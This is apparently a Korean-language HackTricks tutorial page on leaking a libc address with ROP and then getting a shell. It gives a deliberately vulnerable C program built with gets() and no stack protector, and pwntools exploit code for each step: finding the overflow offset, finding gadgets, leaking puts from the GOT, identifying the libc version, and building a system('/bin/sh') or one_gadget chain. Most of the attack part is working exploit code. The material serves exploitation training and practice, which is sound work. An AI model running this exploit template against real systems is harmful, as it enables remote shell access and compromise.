Leaking libc address with ROP

htARTE (HackTricks AWS Red Team Expert)에서 AWS 해킹을 처음부터 전문가까지 배우세요!

HackTricks를 지원하는 다른 방법:

빠른 요약

  1. 오버플로우 오프셋 찾기

  2. POP_RDI 가젯, PUTS_PLTMAIN 가젯 찾기

  3. 이전 가젯을 사용하여 puts 또는 다른 libc 함수의 메모리 주소를 누출하고 libc 버전을 찾기 (다운로드)

  4. 라이브러리를 사용하여 ROP를 계산하고 이를 악용하기

연습할 다른 자습서 및 이진 파일

이 자습서는 이 자습서에서 제안된 코드/바이너리를 악용할 것입니다: https://tasteofsecurity.com/security/ret2libc-unknown-libc/ 다른 유용한 자습서: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html

코드

파일명: vuln.c

#include <stdio.h>

int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);

return 0;
}
gcc -o vuln vuln.c -fno-stack-protector -no-pie

ROP - LIBC 주소 노출 템플릿

해킹 도구를 다운로드하고 취약한 이진 파일과 동일한 디렉토리에 넣은 후 스크립트에 필요한 데이터를 제공하십시오:

pageLeaking libc - template

1- 오프셋 찾기

템플릿은 공격을 계속하기 전에 오프셋이 필요합니다. 제공된 경우 필요한 코드를 실행하여 오프셋을 찾습니다 (기본값은 OFFSET = ""):

###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return

실행 python template.py를 하면 프로그램이 충돌한 상태로 GDB 콘솔이 열립니다. 해당 GDB 콘솔에서 x/wx $rsp를 실행하여 RIP를 덮어쓸 바이트를 얻습니다. 마지막으로 파이썬 콘솔을 사용하여 오프셋을 구합니다:

from pwn import *
cyclic_find(0x6161616b)

오프셋을 찾은 후 (이 경우 40) 해당 값을 사용하여 템플릿 내의 OFFSET 변수를 변경합니다. OFFSET = "A" * 40

다른 방법은 pattern create 1000을 사용하는 것입니다. -- ret까지 실행 -- GEF에서 pattern search $rsp를 사용합니다.

2- 가젯 찾기

이제 이진 파일 내에서 ROP 가젯을 찾아야 합니다. 이 ROP 가젯은 사용 중인 libc를 찾기 위해 puts를 호출하는 데 유용하며, 나중에 최종 공격을 실행하는 데 사용될 것입니다.

PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret  gadget: " + hex(POP_RDI))

PUTS_PLTputs 함수를 호출하기 위해 필요합니다. MAIN_PLTexploit다시 사용하여 overflow다시 호출하기 위해 main 함수를 호출해야 합니다 (exploitation의 무한 라운드). 각 ROP의 끝에서 프로그램을 다시 호출하는 데 사용됩니다. POP_RDI호출된 함수에 매개변수를 전달하기 위해 필요합니다.

이 단계에서는 실행할 필요가 없습니다. 모든 것은 실행 중에 pwntools에 의해 찾아질 것입니다.

3- libc 라이브러리 찾기

이제 사용 중인 libc 라이브러리 버전을 찾을 시간입니다. 이를 위해 메모리에서 puts 함수주소leak하고, 그 주소에 있는 puts 버전이 있는 라이브러리 버전검색할 것입니다.

def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)

#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

return hex(leak)

get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()

이를 위해 실행된 코드의 가장 중요한 줄은 다음과 같습니다:

rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

이는 RIP를 덮어쓸 수 있는 바이트를 보내게 됩니다: OFFSET. 그런 다음, POP_RDI 가젯의 주소를 설정하여 다음 주소(FUNC_GOT)가 RDI 레지스터에 저장됩니다. 이는 PUTS_GOT주소전달하기 위해 puts를 호출하려고 하기 때문입니다. 메모리 주소에 있는 puts 함수의 주소가 PUTS_GOT가 가리키는 주소에 저장되어 있기 때문입니다. 이후, PUTS_PLT가 호출될 것입니다 (PUTS_GOTRDI 안에 있음) 따라서 puts는 PUTS_GOT 안에 있는 내용(메모리에 있는 puts 함수의 주소)을 읽고 출력할 것입니다. 마지막으로, main 함수가 다시 호출되므로 우리는 다시 오버플로우를 이용할 수 있습니다.

이렇게 함으로써 우리는 puts 함수를 속이고 메모리에 있는 puts 함수의 주소를 출력하게 했습니다(이는 libc 라이브러리 내부에 있습니다). 이제 해당 주소를 통해 어떤 libc 버전이 사용 중인지 찾을 수 있습니다.

우리는 로컬 바이너리를 exploiting 하고 있기 때문에 libc의 어떤 버전이 사용 중인지 알 필요가 없습니다(/lib/x86_64-linux-gnu/libc.so.6에서 라이브러리를 찾기만 하면 됩니다). 그러나 원격 exploit 경우에는 어떻게 찾을 수 있는지 여기서 설명하겠습니다:

3.1- libc 버전 검색 (1)

다음 웹페이지에서 사용 중인 라이브러리를 검색할 수 있습니다: https://libc.blukat.me/ 이는 발견된 libc 버전을 다운로드할 수 있게 해줍니다

3.2- libc 버전 검색 (2)

또한 다음을 수행할 수 있습니다:

  • $ git clone https://github.com/niklasb/libc-database.git

  • $ cd libc-database

  • $ ./get

이 작업에는 시간이 걸릴 수 있으니 기다려 주세요. 이 작업을 위해 필요한 것은:

  • Libc 심볼 이름: puts

  • 누출된 libc 주소: 0x7ff629878690

가장 가능성이 높은 libc를 알 수 있습니다.

./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)

우리는 2개의 매치를 얻었습니다 (첫 번째가 작동하지 않으면 두 번째를 시도해보세요). 첫 번째 것을 다운로드하세요:

./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64

3.3- 릭을 위한 다른 함수들

libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so에서 libc를 우리 작업 디렉토리로 복사합니다.

puts
printf
__libc_start_main
read
gets

4- libc 주소 찾기 및 이용

이 시점에서 우리는 사용된 libc 라이브러리를 알아야 합니다. 로컬 이진 파일을 이용하고 있기 때문에, /lib/x86_64-linux-gnu/libc.so.6를 사용할 것입니다.

그래서, template.py의 시작 부분에서 libc 변수를 다음과 같이 변경하십시오: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it

libc 라이브러리의 경로를 제공하면 나머지 exploit은 자동으로 계산될 것입니다.

get_addr 함수 내에서 libc의 베이스 주소가 계산될 것입니다:

if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

최종 libc 기본 주소는 반드시 00으로 끝나야 합니다. 그렇지 않은 경우 잘못된 라이브러리를 노출할 수 있습니다.

그런 다음 system 함수의 주소와 "/bin/sh" 문자열의 주소libc기본 주소에서 계산되며 주어진 libc 라이브러리를 사용합니다.

BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]

log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))

마침내, /bin/sh 실행 exploit이 준비되어 전송될 것입니다:

rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)

p.clean()
p.sendline(rop2)

#### Interact with the shell #####
p.interactive() #Interact with the conenction

최종 ROP 설명

마지막 ROP(rop1)은 다시 main 함수를 호출하여 다시 exploit할 수 있습니다(그래서 OFFSET이 다시 나타납니다). 그런 다음, _"/bin/sh"_의 주소(BINSH)를 가리키는 POP_RDI를 호출하고 system 함수(SYSTEM)를 호출하여 _"/bin/sh"_의 주소가 매개변수로 전달되도록 합니다. 마지막으로 exit 함수의 주소호출되어 프로세스가 잘 종료되고 어떤 경고도 발생하지 않습니다.

이렇게 하면 exploit이 _/bin/sh_** 쉘을 실행**합니다.**

4(2)- ONE_GADGET 사용

ONE_GADGET을 사용하여 system"/bin/sh" 대신 쉘을 얻을 수도 있습니다. ONE_GADGET은 libc 라이브러리 내에서 하나의 ROP 주소만 사용하여 쉘을 얻는 방법을 찾아줍니다. 그러나 일반적으로 [rsp+0x30] == NULL와 같은 제약 조건이 있습니다. RSP 내의 값을 제어할 수 있기 때문에 더 많은 NULL 값을 보내 제약 조건을 피할 수 있습니다.

ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100

EXPLOIT FILE

이 취약점을 악용하는 템플릿을 다음에서 찾을 수 있습니다:

pageLeaking libc - template

일반적인 문제

MAIN_PLT = elf.symbols['main']를 찾을 수 없음

"main" 심볼이 존재하지 않는 경우. 그럼 main 코드가 어디에 있는지 찾을 수 있습니다:

objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:

그리고 주소를 수동으로 설정하십시오:

MAIN_PLT = 0x401080

Puts를 찾을 수 없음

만약 이진 파일이 Puts를 사용하지 않는다면 다음을 확인해야 합니다.

sh: 1: %s%s%s%s%s%s%s%s: not found

모든 exploit을 생성한 후에 이 에러를 발견한다면: sh: 1: %s%s%s%s%s%s%s%s: not found

"/bin/sh" 주소에서 64바이트를 빼보세요:

BINSH = next(libc.search("/bin/sh")) - 64
htARTE (HackTricks AWS Red Team Expert)와 함께 제로부터 영웅이 되는 AWS 해킹 배우기

다른 방법으로 HackTricks를 지원하는 방법:

Last updated